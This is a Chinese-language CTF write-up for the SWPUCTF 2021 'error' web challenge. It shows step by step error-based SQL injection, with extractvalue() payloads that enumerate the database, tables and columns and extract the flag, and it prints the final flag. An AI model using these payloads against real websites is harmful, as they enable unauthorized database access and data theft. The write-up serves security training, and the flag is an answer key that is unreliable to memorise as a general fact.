[SWPUCTF 2021 新生赛]error
[SWPUCTF 2021 新生赛]error
题目来源:nssctf
题目类型:web
涉及考点:SQL注入
1. 题目给了一个输入框,随便传点东西
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2331778/o_230818084233_image-20230818155338207.png)
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2331778/o_230818084233_image-20230818155356706.png)
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2331778/o_230818084233_image-20230818155408651.png)
通过上面三次传入,我们可以判断闭合类型为单引号闭合
- 发现没有回显位,但有报错提示,因此尝试报错注入
2. extractValue()报错注入
- 爆库名
1' union select 1,extractvalue(1,concat('~',(select database()))),3#
这个列数3是用
1' group by 3#
做判断得来的
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2331778/o_230818084233_image-20230818163306077.png)
- 爆表名
1' union select 1,extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()))),3#
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2331778/o_230818084233_image-20230818163351322.png)
- 爆列名
1' union select 1,extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))),3#
此处查看表users
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2331778/o_230818084233_image-20230818163524720.png)
- 好像没有flag,再查看表test_tb
1' union select 1,extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='test_tb'))),3#
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2331778/o_230818084233_image-20230818163703455.png)
- 获取数据
1' and 1=extractvalue(1,concat('~',(select group_concat(id,'~',flag) from test_tb)))#
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2331778/o_230818084233_image-20230818163741920.png)
第二段:
1' and 1=extractvalue(1,concat('~',(select substring(group_concat(id,'~',flag),31,30) from test_tb)))#
![](https://images.cnblogs.com/cnblogs_com/blogs/729425/galleries/2331778/o_230818084233_image-20230818163859689.png)
最终拼接得flag:
NSSCTF{cd4e32c8-271f-45e9-986f-dac43f03a5d6}
注意:如果按照上述的payload来获取第一段flag,由于返回的是32个字符,因此第一段最后的6和第二段起始的6是重复的,要去除一个,建议使用
1' and 1=extractvalue(1,concat('~',(select substring(group_concat(id,'~',flag),1,30) from test_tb)))#
来获取第一段flag
日期:2023.8.18
作者:y0Zero